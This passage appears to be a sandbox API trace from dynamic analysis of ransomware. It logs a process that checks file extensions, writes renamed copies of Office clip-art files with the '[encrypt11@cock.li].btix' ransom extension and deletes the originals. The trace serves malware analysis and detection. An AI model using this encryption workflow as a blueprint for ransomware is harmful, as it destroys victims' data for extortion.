(lpString1=".xls", lpString2=".WMF") returned 1 [0157.530] lstrlenW (lpString=".xlsx") returned 5 [0157.530] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0157.530] lstrlenW (lpString=".ppt") returned 4 [0157.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.530] lstrlenW (lpString=".zip") returned 4 [0157.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.530] lstrlenW (lpString=".rar") returned 4 [0157.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString=".bz2") returned 4 [0157.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString=".7z") returned 3 [0157.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.530] lstrlenW (lpString=".dbf") returned 4 [0157.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.530] lstrlenW (lpString=".1cd") returned 4 [0157.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.530] lstrlenW (lpString=".jpg") returned 4 [0157.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.531] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.531] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.532] GetLastError () returned 0x0 [0157.532] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3e9e, lpOverlapped=0x0) returned 1 [0157.534] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3ea0, lpOverlapped=0x0) returned 1 [0157.535] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.535] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.535] SetEndOfFile (hFile=0x36c) returned 1 [0157.535] CloseHandle (hObject=0x36c) returned 1 [0157.535] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.535] SetEndOfFile (hFile=0x380) returned 1 [0157.536] CloseHandle (hObject=0x380) returned 1 [0157.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 1 [0157.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.537] lstrlenW (lpString=".doc") returned 4 [0157.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.537] lstrlenW (lpString=".docx") returned 5 [0157.537] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0157.537] lstrlenW (lpString=".pdf") returned 4 [0157.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.537] lstrlenW (lpString=".xls") returned 4 [0157.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.537] lstrlenW (lpString=".xlsx") returned 5 [0157.537] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0157.537] lstrlenW (lpString=".ppt") returned 4 [0157.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.538] lstrlenW (lpString=".zip") returned 4 [0157.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.538] lstrlenW (lpString=".rar") returned 4 [0157.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.538] lstrlenW (lpString=".bz2") returned 4 [0157.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.538] lstrlenW (lpString=".7z") returned 3 [0157.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.538] lstrlenW (lpString=".dbf") returned 4 [0157.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.538] lstrlenW (lpString=".1cd") returned 4 [0157.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0157.538] lstrlenW (lpString=".jpg") returned 4 [0157.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.538] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.538] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.539] GetLastError () returned 0x0 [0157.539] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x73a2, lpOverlapped=0x0) returned 1 [0157.541] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x73b0, lpOverlapped=0x0) returned 1 [0157.542] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.542] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.542] SetEndOfFile (hFile=0x36c) returned 1 [0157.543] CloseHandle (hObject=0x36c) returned 1 [0157.543] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.543] SetEndOfFile (hFile=0x380) returned 1 [0157.543] CloseHandle (hObject=0x380) returned 1 [0157.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0157.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.544] lstrlenW (lpString=".doc") returned 4 [0157.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.544] lstrlenW (lpString=".docx") returned 5 [0157.544] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.544] lstrlenW (lpString=".pdf") returned 4 [0157.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.544] lstrlenW (lpString=".xls") returned 4 [0157.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.544] lstrlenW (lpString=".xlsx") returned 5 [0157.544] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.544] lstrlenW (lpString=".ppt") returned 4 [0157.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.545] lstrlenW (lpString=".zip") returned 4 [0157.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.545] lstrlenW (lpString=".rar") returned 4 [0157.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.545] lstrlenW (lpString=".bz2") returned 4 [0157.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.545] lstrlenW (lpString=".7z") returned 3 [0157.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.545] lstrlenW (lpString=".dbf") returned 4 [0157.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.545] lstrlenW (lpString=".1cd") returned 4 [0157.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0157.545] lstrlenW (lpString=".jpg") returned 4 [0157.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.545] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.545] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.546] GetLastError () returned 0x0 [0157.546] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x336a, lpOverlapped=0x0) returned 1 [0157.547] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3370, lpOverlapped=0x0) returned 1 [0157.549] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.549] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.549] SetEndOfFile (hFile=0x36c) returned 1 [0157.550] CloseHandle (hObject=0x36c) returned 1 [0157.550] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.550] SetEndOfFile (hFile=0x380) returned 1 [0157.550] CloseHandle (hObject=0x380) returned 1 [0157.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0157.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.551] lstrlenW (lpString=".doc") returned 4 [0157.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.551] lstrlenW (lpString=".docx") returned 5 [0157.551] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.551] lstrlenW (lpString=".pdf") returned 4 [0157.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.551] lstrlenW (lpString=".xls") returned 4 [0157.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.551] lstrlenW (lpString=".xlsx") returned 5 [0157.551] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.551] lstrlenW (lpString=".ppt") returned 4 [0157.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.551] lstrlenW (lpString=".zip") returned 4 [0157.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.552] lstrlenW (lpString=".rar") returned 4 [0157.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.552] lstrlenW (lpString=".bz2") returned 4 [0157.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.552] lstrlenW (lpString=".7z") returned 3 [0157.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.552] lstrlenW (lpString=".dbf") returned 4 [0157.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.552] lstrlenW (lpString=".1cd") returned 4 [0157.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF") returned 68 [0157.552] lstrlenW (lpString=".jpg") returned 4 [0157.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.553] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.553] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.553] GetLastError () returned 0x0 [0157.553] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1ca4, lpOverlapped=0x0) returned 1 [0157.564] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0157.565] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.565] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.565] SetEndOfFile (hFile=0x36c) returned 1 [0157.565] CloseHandle (hObject=0x36c) returned 1 [0157.565] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.565] SetEndOfFile (hFile=0x380) returned 1 [0157.566] CloseHandle (hObject=0x380) returned 1 [0157.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.567] lstrlenW (lpString=".doc") returned 4 [0157.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".docx") returned 5 [0157.567] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.567] lstrlenW (lpString=".pdf") returned 4 [0157.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".xls") returned 4 [0157.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.567] lstrlenW (lpString=".xlsx") returned 5 [0157.567] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.567] lstrlenW (lpString=".ppt") returned 4 [0157.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.567] lstrlenW (lpString=".zip") returned 4 [0157.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.567] lstrlenW (lpString=".rar") returned 4 [0157.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".bz2") returned 4 [0157.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString=".7z") returned 3 [0157.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.567] lstrlenW (lpString=".dbf") returned 4 [0157.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.567] lstrlenW (lpString=".1cd") returned 4 [0157.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0157.568] lstrlenW (lpString=".jpg") returned 4 [0157.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.646] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.646] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0157.752] GetLastError () returned 0x0 [0157.752] ReadFile (in: hFile=0x36c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x207a, lpOverlapped=0x0) returned 1 [0157.851] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2080, lpOverlapped=0x0) returned 1 [0157.852] ReadFile (in: hFile=0x36c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.852] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.852] SetEndOfFile (hFile=0x3a4) returned 1 [0157.857] CloseHandle (hObject=0x3a4) returned 1 [0157.883] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.883] SetEndOfFile (hFile=0x36c) returned 1 [0157.884] CloseHandle (hObject=0x36c) returned 1 [0157.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0157.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.886] lstrlenW (lpString=".doc") returned 4 [0157.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.886] lstrlenW (lpString=".docx") returned 5 [0157.886] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.886] lstrlenW (lpString=".pdf") returned 4 [0157.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.886] lstrlenW (lpString=".xls") returned 4 [0157.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.886] lstrlenW (lpString=".xlsx") returned 5 [0157.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.886] lstrlenW (lpString=".ppt") returned 4 [0157.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.886] lstrlenW (lpString=".zip") returned 4 [0157.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.886] lstrlenW (lpString=".rar") returned 4 [0157.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.886] lstrlenW (lpString=".bz2") returned 4 [0157.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.886] lstrlenW (lpString=".7z") returned 3 [0157.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.887] lstrlenW (lpString=".dbf") returned 4 [0157.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.887] lstrlenW (lpString=".1cd") returned 4 [0157.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0157.887] lstrlenW (lpString=".jpg") returned 4 [0157.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.259] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 